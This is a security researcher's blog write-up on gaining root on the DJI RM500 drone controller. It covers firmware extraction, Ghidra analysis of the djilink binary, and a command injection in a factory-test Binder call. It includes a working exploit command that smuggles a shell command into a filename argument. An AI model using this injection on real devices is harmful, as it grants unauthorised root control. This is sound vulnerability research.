Local Privilege Escalation on the DJI RM500 Smart Controller

Willem Melching
Aug 6, 2023


This research is about the DJI RM500 Smart Controller. It's the remote sold with with the DJI Mini 2, Mavic Air 2, Mavic 2 Series and Air 2S. It was released in 2019 but is now discontinued and no longer sold or supported by DJI. It received it's latest update in October 2022 and runs Android 7.1.2 (Linux 4.4.83) on a Rockchip RK3399. It can run user supplied apps, and has a USB-A port for external peripherals. It also provides access to ADB to support debugging when developing your own Android apps for the device.

I was asked to look into this device to see if it could support a USB to Ethernet adapter in the USB host port, to improve connection reliability over the built in Wi-Fi. By running ifconfig -a using ADB shell after plugging in the adapter, we can see the adapter is recognized, but is not brought up by default. Trying to manually bring it up using ifconfig eth0 up is not allowed due to a lack of permissions for the default ADB shell user: ifconfig: ioctl 8914: Operation not permitted. For the adapter to work we need to be able to run commands as root.

This blog post will be about escalating our privileges from the default ADB shell user to root. This requires a physical connection to the remote, and accepting a pop-up on the Android side the first time we try to connect using ADB. I will describe most of the steps I took to find the exploit, some of them not strictly necessary, but they might still be interesting in case you want to perform your own research on DJI equipment.

First I'll look at possible attack surfaces. Then I'll analyze the most promising binary, djilink, in Ghidra and reverse engineer the communication through Binder. Finally, I'll use a command injection vulnerability to gain root privileges.

Picture of the DJI RM500 Smart Controller

Identifying the Attack Surface

First, we want to identify some possible attack services surfaces. The remote uses Android, so there must be some DJI specific stuff running on top of this to control the drone. I expect an Android app to run the GUI, and some native services to handle the proprietary joysticks/buttons and the radio to connect to the drone.

We will start by looking in userspace, but if no interesting things are found we can also look at some DJI specific kernel drivers to talk to the peripherals such as the radio or joysticks. Those should be provided by the manufacturer due to the GPL license of the Linux kernel. Unfortunately DJI seems to ignore this requirement and only has an outdated Open Source page with broken links. Luckily for this research we didn't need to look at the kernel. We'll look at open ports, running processes and available Binder services.

Open ports (netstat)

Using netstat -tulpn we can check for any services that have exposed ports on TCP or UDP. However, this didn't show anything interesting. There are some ports in the 4000X range, but we can't see what process owns them because we don't have root privileges.

rm500:/ $ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program Name
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0*               LISTEN      1510/adb
udp        0      0 *                           -

Processes (ps)

Using ps we can look at all the running processes on the system. By looking for DJI specific processes we can identify /system/bin/djilink, /system/bin/dji_wms as two processes that run as root. We will be taking a closer look at those in the next section.

rm500:/ $ ps | grep -i dji
root      144   2     0      0              0 0000000000 S dji_bat_charge_
root      299   1     63296  11656          0 0000000000 S /system/bin/djilink
root      664   1     9004   1852           0 0000000000 S /system/bin/dji_wms
system    1127  301   1571732 76156          0 0000000000 S com.dji

Binder RPC (service)

Binder serves as a mechanism on Android for Inter Process Communication (IPC) and Remote Procedure Calls (RPC). For example, Binder can be used to communicate between apps and native services. Or between a system service with high privileges and a client program with low privileges. It can communicate simple messages, but also more complex objects such as shared memory buffers.

It's a very useful tool when developing complex Android applications. There is a nice command line utility called service that is used for interacting with Binder from the command line using the ADB shell. Using service list we can see all DJI specific Binder services that are used. Here we also see djilink pop up, so we will start by analyzing this service.


rm500:/ $ service list | grep -i dji
0   DJIBaseService: []
1   DJIService: []
83  protocol: [com.dji.protocol.IProtocolManager]
84  report: [com.dji.report.IReportManager]
108 djilink: [djilink]

Obtaining a Copy of the File System

If we are only interested in a few files such as /system/bin/djilink we can use adb pull to grab those files right of the device. But in case we need to widen our search it might be nice to have a full copy of the system. Luckily the update file for the whole OS of the RM500 can be downloaded from DankDroneDownloader.

Dank Drone Downloader

The extension of the file we just downloaded (V01.01.0072_rm500_dji_system.bin) is .bin, but the file command line utility tells us that it's actually a POSIX tar archive. We can add the .tar extension and extract it.

$ tar -xvf V01.01.0072_rm500_dji_system.bin.tar --one-top-level
$ cd V01.01.0072_rm500_dji_system.bin
$ ls -Ggh
total 1.7G
-rw-r--r-- 1 1.7G Nov  4  2022 rm500_0205_v00.00.11.98_20221031.pro.fw.sig
-rw-r--r-- 1 106K Nov  4  2022 rm500_0600_v06.01.02.15_20210312.pro.fw.sig
-rw-r--r-- 1  25M Nov  4  2022 rm500_1301_v04.00.00.15_20210616.pro.fw.sig
-rw-r--r-- 1  22M Nov  4  2022 rm500_1407_v05.01.00.15_20220301.pro.fw.sig
-rw-r--r-- 1 1.8K Nov  4  2022 rm500.cfg.sig

This results in a few files, of which only rm500_0205_v00.00.11.98_20221031.pro.fw.sig is large enough to contain the root filesystem. If we run binwalk on this file it tells us that this file contains lots of Zip archive data starting at byte 480.

$ binwalk rm500_0205_v00.00.11.98_20221031.pro.fw.sig

480           0x1E0           Zip archive data, at least v1.0 to extract, name: system.patch.dat
530           0x212           Zip archive data, at least v2.0 to extract, name: META-INF/com/android/metadata
732           0x2DC           Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/update-binary
649999        0x9EB0F         Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/updater-script
650625        0x9ED81         Zip archive data, at least v2.0 to extract, name: boot.img

We could try to strip the first 480 bytes, but it seems like unzip already handles this just fine. If we rename the file to rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip we can extract it:

$ unzip rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip
Archive:  rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip
signed by SignApk
warning [rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip]:  480 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 extracting: system.patch.dat
  inflating: boot.img
  inflating: system.new.dat
  inflating: system.transfer.list
  inflating: trust.img
  inflating: uboot.img

According to file, system.new.dat is an ext4 image, but trying to loopback mount it, doesn't work. It turns out that system.new.dat is a sparse file, and system.transfer.list contains instructions on how to reconstruct the original file. We can use sdat2img to build the proper ext4 image. It can be downloaded from GitHub, or simply installed from the Arch AUR. The resulting image be mounted and we can copy out /bin/djilink to analyze it further.

$ sdat2img system.transfer.list system.new.dat system.img
sdat2img binary - version: 1.2

Android Nougat 7.x / Oreo 8.x detected!

Skipping command erase...
Copying 1024 blocks into position 0...
Copying 683 blocks into position 1024...
Copying 143 blocks into position 1708...
Copying 198 blocks into position 1852...
Copying 639 blocks into position 2050...
Done! Output image: /home/willem/Downloads/V01.01.0072_rm500_dji_system.bin/system.img
$ mkdir mnt
$ sudo mount -o loop,ro system.img mnt

Analysis in Ghidra

In the previous steps we identified the djilink binary as an interesting target for our analysis, since it runs at root, exposes a Binder service, and might be the source of our mystery TCP ports in the 4000X range. By unpacking an OS update we extracted the binary to analyze it further in Ghidra. Loading the file into Ghidra is straightforward, and we use the default options and analysis settings.

Loading djilink in Ghidra

After loading the binary in Ghidra, we can start looking for some low hanging fruit. We don't have anything specific we are looking for yet, so we can go through some functions that are a likely source of mistakes such as system(), memcpy(), strcpy() etc.

system() Command Injection

We start by looking for all uses of the system() function, which is used to run an external shell command. This an easy way to run an external program, but you have to be very careful when using user provided data to build the command passed to the system() function. This is similar to needing to sanitize user inputs to prevent SQL injection.

Loading djilink in Ghidra

There are 42 places where the system() function is used, so it took some time to go through them and find a potential command injection. Sometimes it looks like user input is used when building the command, but then it turns out the data is not actually attacker controlled.

In a lot of places the system() function is used to perform simple file system operations, instead of the proper functions such as rename() and fprintf(). This is considered bad practice, therefore this seems promising for finding a potential exploit. An example of improper use of system() to write a timestamp to a log file:

Using system() to write contents to a file

After sifting through a bunch more of that, I found an interesting function displayed below. This function seems part of a factory testing procedure, and uses tinycap to make a recording using the microphone and writing the results to a filename that is passed to the function. This filename is used to build the command that is passed to system() and is not checked for special characters. If we put a ; in the filename we can inject a second shell command that also gets executed. The proper way to do this would be to use the execve() function, which has a separate argument for command line flags, which fixes the shell injection.

Function that uses system() starts tinycap

This function is called by a wrapper function that allows both starting and stopping a capture. Looking at the android_log_print function calls, the function is probably called setMicStatus. A pointer to this wrapper function is located in a lookup table at 0x001fe5c8. In turn, this lookup table is used in functions that have calls to libbinder.so. So maybe this function is meant to be called using a Binder RPC?

Wrapper function that starts/stops tinycap

Calling setMicStatus Function using Binder

After some more digging on the filesystem I found libdjilink.so. This seems to be a helper library to easily call functions from djilink from external programs using Binder. By looking for the string setMicStatus, I quickly discovered a function called BpLinkService::setMicStatus that looks a lot like it calls the desired function in djilink.

Function from libdjilink.so that calls setMicStatus

It writes 4 integers and 1 string into a parcel, and then calls service 0x406 (1030 in decimal), which matches the arguments to the function in libdjilink we found earlier. Using the service command we can quickly verify if our assumptions are right. We can use adb logcat to keep eye on the logs. When we run service call djilink 1030 we notice a bunch of logs in logcat, after which djilink seems to crash and restart. It includes the following interesting bit:

08-06 17:25:40.095  1378  1405 E Parcel  : Reading a NULL string not supported here.
08-06 17:25:40.095  1378  1405 D LinkService: factorytest: setMicStatus 0
08-06 17:25:40.095  1378  1405 D utils   : factorytest: Stop nProcess 0

From the logs it looks like it tries to read a NULL string. It's outputting the log strings that we found earlier. Maybe it will work if we send the right arguments in the Binder parcel? If we match the code from libdjilink.so we need to send 4 Int322s followed by String16 for a filename. I'm not sure which integer stands for which argument, so I set them all to 1 to make sure we start the recording. We can do this with the following command: service call djilink 1030 i32 1 i32 1 i32 1 i32 1 s16 "/sdcard/test.wav". This results in the following logcat output:

08-06 17:29:52.830  1431  1431 D LinkService: factorytest: setMicStatus 1
08-06 17:29:52.830  1431  1431 D utils   : factorytest: cmd tinycap /sdcard/test.wav -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1
08-06 17:29:53.332  1431  1431 D utils   : factorytest: Started record of /sdcard/test.wav nProcess 1469

We can also confirm a 1 second audio file showed up in /sdcard and is owned by root. Interestingly the file seems to be completely silent, so recording doesn't actually work. However, this means we can successfully call the setMicStatus function where we freely control the filename of the resulting file.

Building the Exploit

Now that we can call setMicStatus using the command line, we can try to exploit the potential command injection. As a reminder, the format string used to build the command is "tinycap %s -D 0 -d 0 -i %d -c %d -r 48000 -b 16 -t %d".

Here we freely control the first %s, where the total command needs to stay under 128 characters. If we set our filename to ";whoami > /sdcard/whoami;" the total command becomes "tinycap ;whoami > /sdcard/whoami; -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1" after filling in all the placeholders.

We can test this using service call djilink 1030 i32 1 i32 1 i32 2 i32 1 s16 ";whoami > /sdcard/whoami;". If we now print the contents of /sdcard/whoami we can see that our exploit actually works! We can run commands as root.

rm500:/ $ cat /sdcard/whoami


In this post, I described the process of finding a privilege escalation to gain root from an ADB shell, by abusing some code that was meant for factory testing the peripherals in the remote. This allowed us to run ifconfig eth0 up as root and enable the Ethernet adapter, which worked fine after that. Fortunately, we could exploit the vulnerability with command line tools that were already present on the Android device, so we didn't need to fiddle with cross-compiler setups to build a payload.

The exploit itself is has a relatively low impact, since it requires physical access to the device and requires the user to accept a popup when connecting using ADB. Nevertheless, it can be very useful for research purposes in case you want to get root on the RM500 Remote to assist with further research on DJI drones.

The RM500 is no longer sold or supported by DJI, and is therefore considered out of scope on DJI's Bug Bounty Progam. Unfortunately, reporting a vulnerability using DJI's Bug Bounty Program prevents researchers from publishing their work without DJI's approval, and they don't list a security contact to report issues outside of their Bug Bounty Program. Given the low impact of this vulnerability, and the probably numerous vulnerabilities in Android 7 itself, I decided to just publish my research.